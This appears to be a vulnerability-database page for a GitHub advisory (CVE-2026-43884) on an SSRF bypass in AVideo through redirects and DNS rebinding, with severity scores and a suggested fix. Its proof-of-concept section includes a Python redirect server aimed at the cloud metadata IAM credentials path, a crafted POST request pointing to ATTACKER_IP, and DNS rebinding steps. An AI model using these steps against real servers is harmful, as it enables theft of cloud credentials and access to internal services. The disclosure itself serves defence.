| Advisory ID | github_osv/GHSA-2hch-c97c-g99x |
| Aliases |
CVE-2026-43884
|
| Summary | AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL() ### Summary Two endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP's automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections. A secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks. **Severity:** High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) ### Details #### Finding 1: Redirect-Based SSRF Bypass **Vulnerable code — `plugin/AI/receiveAsync.json.php` (line ~162–165):** ```php // SSRF Protection: Validate URL before fetching if (!isSSRFSafeURL($imageUrl)) { // blocked } else { $imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS! } ``` **Vulnerable code — `objects/EpgParser.php` (line ~358–362):** ```php if (!isSSRFSafeURL($this->url)) { throw new \RuntimeException('URL blocked by SSRF protection'); } $this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS! ``` **Safe code for comparison — `objects/functions.php`, `url_get_contents()`:** ```php $opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect $context = stream_context_create($opts); for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) { $fetched = file_get_contents($currentUrl, false, $context); // ... parse Location header ... if ($redirectTarget) { if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop return false; } $currentUrl = $redirectTarget; continue; } $tmp = $fetched; break; } ``` **Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP's default `follow_location` is `1` (follow redirects). #### Finding 2: DNS Rebinding TOCTOU (Multiple Callers) `isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0). **Affected callers (no DNS pinning):** - `objects/aVideoEncoderReceiveImage.json.php` — 4 call sites - `objects/aVideoEncoder.json.php` — 1 call site - `plugin/BulkEmbed/save.json.php` — 1 call site - `plugin/AI/receiveAsync.json.php` — 1 call site - `objects/EpgParser.php` — 1 call site - `plugin/Scheduler/Scheduler.php` — 1 call site ### PoC #### Redirect Bypass PoC 1. Attacker runs an HTTP server that returns a 302 redirect: ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/") self.end_headers() HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever() ``` 2. Attacker triggers AI image generation and intercepts the callback: ``` POST /plugin/AI/receiveAsync.json.php Content-Type: application/x-www-form-urlencoded type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir ``` 3. `isSSRFSafeURL("http://ATTACKER_IP:8888/redir")` resolves attacker IP → public → **passes** 4. `file_get_contents("http://ATTACKER_IP:8888/redir")` follows 302 to `http://169.254.169.254/...` — **no SSRF re-check occurs** 5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker **Control test:** Replace the redirect target with a legitimate public URL — `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs. #### DNS Rebinding PoC 1. Configure a domain with TTL=0 DNS that alternates: - First query: public IP (passes `isSSRFSafeURL`) - Second query: `127.0.0.1` (reaches internal services) 2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint 3. `isSSRFSafeURL()` resolves → public IP → passes (discards `$resolvedIP`) 4. `url_get_contents()` / `file_get_contents()` resolves again → `127.0.0.1` → SSRF achieved ### Impact An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - **Cloud metadata endpoints** (169.254.169.254) — exfiltrate IAM credentials, instance identity - **Internal services** on localhost or private network (databases, admin panels, monitoring) - **Port scanning** of the internal network using the server as a proxy The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface. ### Suggested Fix **Fix 1 (Redirect bypass — immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context: ```php $ctx = stream_context_create(['http' => ['follow_location' => 0]]); $imageContent = file_get_contents($imageUrl, false, $ctx); ``` **Fix 2 (DNS rebinding — defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`. ### Credit Kai Aizen <kai.aizen.dev@gmail.com> |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.9 |
| Risk | 3.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.7 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2hch-c97c-g99x/GHSA-2hch-c97c-g99x.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/WWBN/AVideo | ||
| https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99xg | ||
| 603e7bf77a835584387327e35560262feb075db3 | Other | https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3 |
| CVE-2026-43884 | https://nvd.nist.gov/vuln/detail/CVE-2026-43884 | |
| GHSA-2hch-c97c-g99x | Other | https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-12T13:22:04Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/43xxx/CVE-2026-43884.json
Source Advisory: vulnrichment/CVE-2026-43884
[{'Exploitation': 'none'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]